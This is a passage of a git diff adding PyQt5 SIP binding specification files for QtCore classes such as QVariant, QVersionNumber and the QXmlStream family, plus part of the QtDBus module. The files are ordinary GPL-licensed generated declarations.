+%If (Qt_5_5_0 -) + PersistentModelIndex, +%End + UserType, + }; + + QVariant(); + QVariant(QVariant::Type type /Constrained/); + QVariant(SIP_PYOBJECT obj); +%MethodCode + int is_err = 0; + QVariant var = qpycore_PyObject_AsQVariant(a0, &is_err); + + if (is_err) + sipCpp = 0; + else + sipCpp = new QVariant(var); +%End + + ~QVariant(); + SIP_PYOBJECT value() const; +%MethodCode + sipRes = qpycore_PyObject_FromQVariant(*sipCpp); +%End + + QVariant::Type type() const; + int userType() const; + const char *typeName() const; + bool canConvert(int targetTypeId) const; + bool convert(int targetTypeId); + bool isValid() const; + bool isNull() const; + void clear(); + void load(QDataStream &ds) /ReleaseGIL/; + void save(QDataStream &ds) const /ReleaseGIL/; + static const char *typeToName(int typeId); + static QVariant::Type nameToType(const char *name); + bool operator==(const QVariant &v) const; + bool operator!=(const QVariant &v) const; + void swap(QVariant &other /Constrained/); +%If (Qt_5_2_0 -) + bool operator<(const QVariant &v) const; +%End +%If (Qt_5_2_0 -) + bool operator<=(const QVariant &v) const; +%End +%If (Qt_5_2_0 -) + bool operator>(const QVariant &v) const; +%End +%If (Qt_5_2_0 -) + bool operator>=(const QVariant &v) const; +%End +}; + +typedef QList QVariantList /TypeHint="List[QVariant]"/; +typedef QHash QVariantHash /TypeHint="Dict[QString, QVariant]"/; +QDataStream &operator>>(QDataStream &s, QVariant &p /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &s, const QVariant &p /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &s, QVariant::Type &p /Constrained,In/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &s, const QVariant::Type p /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariantanimation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariantanimation.sip new file mode 100644 index 00000000..7a3d5769 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariantanimation.sip @@ -0,0 +1,57 @@ +// qvariantanimation.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVariantAnimation : QAbstractAnimation +{ +%TypeHeaderCode +#include +%End + + typedef QVector> KeyValues; + +public: + QVariantAnimation(QObject *parent /TransferThis/ = 0); + virtual ~QVariantAnimation(); + QVariant startValue() const; + void setStartValue(const QVariant &value); + QVariant endValue() const; + void setEndValue(const QVariant &value); + QVariant keyValueAt(qreal step) const; + void setKeyValueAt(qreal step, const QVariant &value); + QVariantAnimation::KeyValues keyValues() const; + void setKeyValues(const QVariantAnimation::KeyValues &values); + QVariant currentValue() const; + virtual int duration() const; + void setDuration(int msecs); + QEasingCurve easingCurve() const; + void setEasingCurve(const QEasingCurve &easing); + +signals: + void valueChanged(const QVariant &value); + +protected: + virtual bool event(QEvent *event); + virtual void updateCurrentTime(int); + virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); + virtual void updateCurrentValue(const QVariant &value); + virtual QVariant interpolated(const QVariant &from, const QVariant &to, qreal progress) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qversionnumber.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qversionnumber.sip new file mode 100644 index 00000000..70246e49 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qversionnumber.sip @@ -0,0 +1,81 @@ +// qversionnumber.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_6_0 -) +QDataStream &operator<<(QDataStream &out, const QVersionNumber &version /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_6_0 -) +QDataStream &operator>>(QDataStream &in, QVersionNumber &version /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_6_0 -) + +class QVersionNumber +{ +%TypeHeaderCode +#include +%End + +public: + QVersionNumber(); + explicit QVersionNumber(const QVector &seg); + explicit QVersionNumber(int maj); + QVersionNumber(int maj, int min); + QVersionNumber(int maj, int min, int mic); + bool isNull() const; + bool isNormalized() const; + int majorVersion() const; + int minorVersion() const; + int microVersion() const; + QVersionNumber normalized() const; + QVector segments() const; + int segmentAt(int index) const; + int segmentCount() const; + bool isPrefixOf(const QVersionNumber &other) const; + static int compare(const QVersionNumber &v1, const QVersionNumber &v2); + static QVersionNumber commonPrefix(const QVersionNumber &v1, const QVersionNumber &v2); + QString toString() const; + static QVersionNumber fromString(const QString &string, int *suffixIndex = 0); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End +%If (Qt_5_6_0 -) +bool operator>(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End +%If (Qt_5_6_0 -) +bool operator>=(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End +%If (Qt_5_6_0 -) +bool operator<(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End +%If (Qt_5_6_0 -) +bool operator<=(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End +%If (Qt_5_6_0 -) +bool operator==(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End +%If (Qt_5_6_0 -) +bool operator!=(const QVersionNumber &lhs, const QVersionNumber &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwaitcondition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwaitcondition.sip new file mode 100644 index 00000000..aa108edb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwaitcondition.sip @@ -0,0 +1,45 @@ +// qwaitcondition.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWaitCondition +{ +%TypeHeaderCode +#include +%End + +public: + QWaitCondition(); + ~QWaitCondition(); + bool wait(QMutex *mutex, unsigned long msecs = ULONG_MAX) /ReleaseGIL/; +%If (Qt_5_12_0 -) + bool wait(QMutex *lockedMutex, QDeadlineTimer deadline) /ReleaseGIL/; +%End + bool wait(QReadWriteLock *readWriteLock, unsigned long msecs = ULONG_MAX) /ReleaseGIL/; +%If (Qt_5_12_0 -) + bool wait(QReadWriteLock *lockedReadWriteLock, QDeadlineTimer deadline) /ReleaseGIL/; +%End + void wakeOne(); + void wakeAll(); + +private: + QWaitCondition(const QWaitCondition &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwineventnotifier.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwineventnotifier.sip new file mode 100644 index 00000000..a2a95c02 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qwineventnotifier.sip @@ -0,0 +1,54 @@ +// This is the SIP specification of the QWinEventNotifier class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (WS_WIN) + +// This hack is for the activated() signal. +typedef Qt::HANDLE HANDLE; + +class QWinEventNotifier: QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWinEventNotifier(QObject *parent /TransferThis/ = 0); + explicit QWinEventNotifier(Qt::HANDLE hEvent, QObject *parent /TransferThis/ = 0); + ~QWinEventNotifier(); + + Qt::HANDLE handle() const; + bool isEnabled() const; + void setHandle(Qt::HANDLE hEvent); + +public slots: + void setEnabled(bool enable); + +signals: + void activated(HANDLE hEvent); + +protected: + bool event(QEvent *e); + +private: + QWinEventNotifier(const QWinEventNotifier &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qxmlstream.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qxmlstream.sip new file mode 100644 index 00000000..7a6f5d02 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qxmlstream.sip @@ -0,0 +1,448 @@ +// qxmlstream.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlStreamAttribute +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamAttribute(); + QXmlStreamAttribute(const QString &qualifiedName, const QString &value); + QXmlStreamAttribute(const QString &namespaceUri, const QString &name, const QString &value); + QXmlStreamAttribute(const QXmlStreamAttribute &); + ~QXmlStreamAttribute(); + QStringRef namespaceUri() const; + QStringRef name() const; + QStringRef qualifiedName() const; + QStringRef prefix() const; + QStringRef value() const; + bool isDefault() const; + bool operator==(const QXmlStreamAttribute &other) const; + bool operator!=(const QXmlStreamAttribute &other) const; +}; + +class QXmlStreamAttributes +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamAttributes(); + QStringRef value(const QString &namespaceUri, const QString &name) const; + QStringRef value(const QString &qualifiedName) const; + void append(const QString &namespaceUri, const QString &name, const QString &value); + void append(const QString &qualifiedName, const QString &value); + void append(const QXmlStreamAttribute &attribute); + bool hasAttribute(const QString &qualifiedName) const; + bool hasAttribute(const QString &namespaceUri, const QString &name) const; +// Methods inherited from QVector and Python special methods. +// Keep in sync with QPolygon and QPolygonF. + +// This is picked up with "using" by QXmlStreamAttributes. +//void append(const QXmlStreamAttribute &value); + +const QXmlStreamAttribute &at(int i) const; +void clear(); +bool contains(const QXmlStreamAttribute &value) const; +int count(const QXmlStreamAttribute &value) const; +int count() const /__len__/; +void *data(); + +// Note the Qt return value is discarded as it would require handwritten code +// and seems pretty useless. +void fill(const QXmlStreamAttribute &value, int size = -1); + +QXmlStreamAttribute &first(); +int indexOf(const QXmlStreamAttribute &value, int from = 0) const; +void insert(int i, const QXmlStreamAttribute &value); +bool isEmpty() const; +QXmlStreamAttribute &last(); +int lastIndexOf(const QXmlStreamAttribute &value, int from = -1) const; + +// Note the Qt return type is QVector. We can't do the +// usual trick because there is no QXmlStreamAttributes ctor that takes a +// QVector argument. We could use handwritten code but we +// don't bother. +//QXmlStreamAttributes mid(int pos, int length = -1) const; + +void prepend(const QXmlStreamAttribute &value); +void remove(int i); +void remove(int i, int count); +void replace(int i, const QXmlStreamAttribute &value); +int size() const; + +// These are hidden by other implementations in QXmlStreamAttributes. +//QXmlStreamAttribute value(int i) const; +//QXmlStreamAttribute value(int i, const QXmlStreamAttribute &defaultValue) const; + +bool operator!=(const QXmlStreamAttributes &other) const; + +// Note the Qt return type is QVector. We can't do the +// usual trick because there is no QXmlStreamAttributes ctor that takes a +// QVector argument. We could use handwritten code but we +// don't bother. +//QXmlStreamAttributes operator+(const QXmlStreamAttributes &other) const; + +QXmlStreamAttributes &operator+=(const QXmlStreamAttributes &other); +QXmlStreamAttributes &operator+=(const QXmlStreamAttribute &value); + +bool operator==(const QXmlStreamAttributes &other) const; + +QXmlStreamAttribute &operator[](int i); +%MethodCode +Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + +if (idx < 0) + sipIsErr = 1; +else + sipRes = &sipCpp->operator[]((int)idx); +%End + +// Some additional Python special methods. + +void __setitem__(int i, const QXmlStreamAttribute &value); +%MethodCode +int len; + +len = sipCpp->count(); + +if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; +else + (*sipCpp)[a0] = *a1; +%End + +void __setitem__(SIP_PYSLICE slice, const QXmlStreamAttributes &list); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + int vlen = a1->count(); + + if (vlen != slicelength) + { + sipBadLengthForSlice(vlen, slicelength); + sipIsErr = 1; + } + else + { + QVector::const_iterator it = a1->begin(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipCpp)[start] = *it; + start += step; + ++it; + } + } +} +%End + +void __delitem__(int i); +%MethodCode +if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; +else + sipCpp->remove(a0); +%End + +void __delitem__(SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + sipCpp->remove(start); + start += step - 1; + } +} +%End + +QXmlStreamAttributes operator[](SIP_PYSLICE slice); +%MethodCode +Py_ssize_t start, stop, step, slicelength; + +if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) +{ + sipIsErr = 1; +} +else +{ + sipRes = new QXmlStreamAttributes(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipRes) += (*sipCpp)[start]; + start += step; + } +} +%End + +int __contains__(const QXmlStreamAttribute &value); +%MethodCode +// It looks like you can't assign QBool to int. +sipRes = bool(sipCpp->contains(*a0)); +%End +}; + +class QXmlStreamNamespaceDeclaration +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamNamespaceDeclaration(); + QXmlStreamNamespaceDeclaration(const QXmlStreamNamespaceDeclaration &); + QXmlStreamNamespaceDeclaration(const QString &prefix, const QString &namespaceUri); + ~QXmlStreamNamespaceDeclaration(); + QStringRef prefix() const; + QStringRef namespaceUri() const; + bool operator==(const QXmlStreamNamespaceDeclaration &other) const; + bool operator!=(const QXmlStreamNamespaceDeclaration &other) const; +}; + +typedef QVector QXmlStreamNamespaceDeclarations; + +class QXmlStreamNotationDeclaration +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamNotationDeclaration(); + QXmlStreamNotationDeclaration(const QXmlStreamNotationDeclaration &); + ~QXmlStreamNotationDeclaration(); + QStringRef name() const; + QStringRef systemId() const; + QStringRef publicId() const; + bool operator==(const QXmlStreamNotationDeclaration &other) const; + bool operator!=(const QXmlStreamNotationDeclaration &other) const; +}; + +typedef QVector QXmlStreamNotationDeclarations; + +class QXmlStreamEntityDeclaration +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamEntityDeclaration(); + QXmlStreamEntityDeclaration(const QXmlStreamEntityDeclaration &); + ~QXmlStreamEntityDeclaration(); + QStringRef name() const; + QStringRef notationName() const; + QStringRef systemId() const; + QStringRef publicId() const; + QStringRef value() const; + bool operator==(const QXmlStreamEntityDeclaration &other) const; + bool operator!=(const QXmlStreamEntityDeclaration &other) const; +}; + +typedef QVector QXmlStreamEntityDeclarations; + +class QXmlStreamEntityResolver +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlStreamEntityResolver(); + virtual QString resolveUndeclaredEntity(const QString &name); +}; + +class QXmlStreamReader +{ +%TypeHeaderCode +#include +%End + +public: + enum TokenType + { + NoToken, + Invalid, + StartDocument, + EndDocument, + StartElement, + EndElement, + Characters, + Comment, + DTD, + EntityReference, + ProcessingInstruction, + }; + + QXmlStreamReader(); + explicit QXmlStreamReader(QIODevice *device); + explicit QXmlStreamReader(const QByteArray &data); + explicit QXmlStreamReader(const QString &data); + ~QXmlStreamReader(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void addData(const QByteArray &data); + void addData(const QString &data); + void clear(); + bool atEnd() const; + QXmlStreamReader::TokenType readNext(); + QXmlStreamReader::TokenType tokenType() const; + QString tokenString() const; + void setNamespaceProcessing(bool); + bool namespaceProcessing() const; + bool isStartDocument() const; + bool isEndDocument() const; + bool isStartElement() const; + bool isEndElement() const; + bool isCharacters() const; + bool isWhitespace() const; + bool isCDATA() const; + bool isComment() const; + bool isDTD() const; + bool isEntityReference() const; + bool isProcessingInstruction() const; + bool isStandaloneDocument() const; + QStringRef documentVersion() const; + QStringRef documentEncoding() const; + qint64 lineNumber() const; + qint64 columnNumber() const; + qint64 characterOffset() const; + QXmlStreamAttributes attributes() const; + + enum ReadElementTextBehaviour + { + ErrorOnUnexpectedElement, + IncludeChildElements, + SkipChildElements, + }; + + QString readElementText(QXmlStreamReader::ReadElementTextBehaviour behaviour = QXmlStreamReader::ErrorOnUnexpectedElement); + QStringRef name() const; + QStringRef namespaceUri() const; + QStringRef qualifiedName() const; + QStringRef prefix() const; + QStringRef processingInstructionTarget() const; + QStringRef processingInstructionData() const; + QStringRef text() const; + QXmlStreamNamespaceDeclarations namespaceDeclarations() const; + void addExtraNamespaceDeclaration(const QXmlStreamNamespaceDeclaration &extraNamespaceDeclaraction); + void addExtraNamespaceDeclarations(const QXmlStreamNamespaceDeclarations &extraNamespaceDeclaractions); + QXmlStreamNotationDeclarations notationDeclarations() const; + QXmlStreamEntityDeclarations entityDeclarations() const; + QStringRef dtdName() const; + QStringRef dtdPublicId() const; + QStringRef dtdSystemId() const; + + enum Error + { + NoError, + UnexpectedElementError, + CustomError, + NotWellFormedError, + PrematureEndOfDocumentError, + }; + + void raiseError(const QString &message = QString()); + QString errorString() const; + QXmlStreamReader::Error error() const; + bool hasError() const; + void setEntityResolver(QXmlStreamEntityResolver *resolver /KeepReference/); + QXmlStreamEntityResolver *entityResolver() const; + bool readNextStartElement(); + void skipCurrentElement(); +%If (Qt_5_15_0 -) + int entityExpansionLimit() const; +%End +%If (Qt_5_15_0 -) + void setEntityExpansionLimit(int limit); +%End + +private: + QXmlStreamReader(const QXmlStreamReader &); +}; + +class QXmlStreamWriter +{ +%TypeHeaderCode +#include +%End + +public: + QXmlStreamWriter(); + explicit QXmlStreamWriter(QIODevice *device); + explicit QXmlStreamWriter(QByteArray *array); + ~QXmlStreamWriter(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void setCodec(QTextCodec *codec /KeepReference/); + void setCodec(const char *codecName); + QTextCodec *codec() const; + void setAutoFormatting(bool); + bool autoFormatting() const; + void setAutoFormattingIndent(int spaces); + int autoFormattingIndent() const; + void writeAttribute(const QString &qualifiedName, const QString &value); + void writeAttribute(const QString &namespaceUri, const QString &name, const QString &value); + void writeAttribute(const QXmlStreamAttribute &attribute); + void writeAttributes(const QXmlStreamAttributes &attributes); + void writeCDATA(const QString &text); + void writeCharacters(const QString &text); + void writeComment(const QString &text); + void writeDTD(const QString &dtd); + void writeEmptyElement(const QString &qualifiedName); + void writeEmptyElement(const QString &namespaceUri, const QString &name); + void writeTextElement(const QString &qualifiedName, const QString &text); + void writeTextElement(const QString &namespaceUri, const QString &name, const QString &text); + void writeEndDocument(); + void writeEndElement(); + void writeEntityReference(const QString &name); + void writeNamespace(const QString &namespaceUri, const QString &prefix = QString()); + void writeDefaultNamespace(const QString &namespaceUri); + void writeProcessingInstruction(const QString &target, const QString &data = QString()); + void writeStartDocument(); + void writeStartDocument(const QString &version); + void writeStartDocument(const QString &version, bool standalone); + void writeStartElement(const QString &qualifiedName); + void writeStartElement(const QString &namespaceUri, const QString &name); + void writeCurrentToken(const QXmlStreamReader &reader); + bool hasError() const; + +private: + QXmlStreamWriter(const QXmlStreamWriter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBus.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBus.toml new file mode 100644 index 00000000..9cf3791e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBus.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtDBus. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBusmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBusmod.sip new file mode 100644 index 00000000..c954792c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/QtDBusmod.sip @@ -0,0 +1,61 @@ +// QtDBusmod.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtDBus, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qdbusabstractadaptor.sip +%Include qdbusabstractinterface.sip +%Include qdbusargument.sip +%Include qdbusconnection.sip +%Include qdbusconnectioninterface.sip +%Include qdbuserror.sip +%Include qdbusextratypes.sip +%Include qdbusinterface.sip +%Include qdbusmessage.sip +%Include qdbuspendingcall.sip +%Include qdbusservicewatcher.sip +%Include qdbusunixfiledescriptor.sip +%Include qpydbuspendingreply.sip +%Include qpydbusreply.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractadaptor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractadaptor.sip new file mode 100644 index 00000000..20ececb6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractadaptor.sip @@ -0,0 +1,38 @@ +// qdbusabstractadaptor.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusAbstractAdaptor : QObject +{ +%TypeHeaderCode +#include +%End + +protected: + explicit QDBusAbstractAdaptor(QObject *parent /TransferThis/); + +public: + virtual ~QDBusAbstractAdaptor(); + +protected: + void setAutoRelaySignals(bool enable); + bool autoRelaySignals() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractinterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractinterface.sip new file mode 100644 index 00000000..b98c58bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusabstractinterface.sip @@ -0,0 +1,159 @@ +// qdbusabstractinterface.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusAbstractInterface : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QDBusPendingCallWatcher, &sipType_QDBusPendingCallWatcher, -1, 1}, + {sipName_QDBusAbstractAdaptor, &sipType_QDBusAbstractAdaptor, -1, 2}, + {sipName_QDBusAbstractInterface, &sipType_QDBusAbstractInterface, 4, 3}, + {sipName_QDBusServiceWatcher, &sipType_QDBusServiceWatcher, -1, -1}, + {sipName_QDBusConnectionInterface, &sipType_QDBusConnectionInterface, -1, 5}, + {sipName_QDBusInterface, &sipType_QDBusInterface, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + virtual ~QDBusAbstractInterface(); + bool isValid() const; + QDBusConnection connection() const; + QString service() const; + QString path() const; + QString interface() const; + QDBusError lastError() const; + void setTimeout(int timeout); + int timeout() const; + QDBusMessage call(const QString &method, const QVariant &arg1 = QVariant(), const QVariant &arg2 = QVariant(), const QVariant &arg3 = QVariant(), const QVariant &arg4 = QVariant(), const QVariant &arg5 = QVariant(), const QVariant &arg6 = QVariant(), const QVariant &arg7 = QVariant(), const QVariant &arg8 = QVariant()) /ReleaseGIL/; + QDBusMessage call(QDBus::CallMode mode, const QString &method, const QVariant &arg1 = QVariant(), const QVariant &arg2 = QVariant(), const QVariant &arg3 = QVariant(), const QVariant &arg4 = QVariant(), const QVariant &arg5 = QVariant(), const QVariant &arg6 = QVariant(), const QVariant &arg7 = QVariant(), const QVariant &arg8 = QVariant()) /ReleaseGIL/; + QDBusMessage callWithArgumentList(QDBus::CallMode mode, const QString &method, const QList &args) /ReleaseGIL/; + bool callWithCallback(const QString &method, const QList &args, SIP_PYOBJECT returnMethod /TypeHint="PYQT_SLOT"/, SIP_PYOBJECT errorMethod /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray return_slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a2, &receiver, return_slot)) == sipErrorNone) + { + QObject *error_receiver; + QByteArray error_slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a3, &error_receiver, error_slot)) == sipErrorNone) + { + if (receiver == error_receiver) + { + sipRes = sipCpp->callWithCallback(*a0, *a1, receiver, return_slot.constData(), error_slot.constData()); + } + else + { + PyErr_SetString(PyExc_ValueError, + "the return and error methods must be bound to the same QObject instance"); + sipError = sipErrorFail; + } + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(3, a3); + } + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + bool 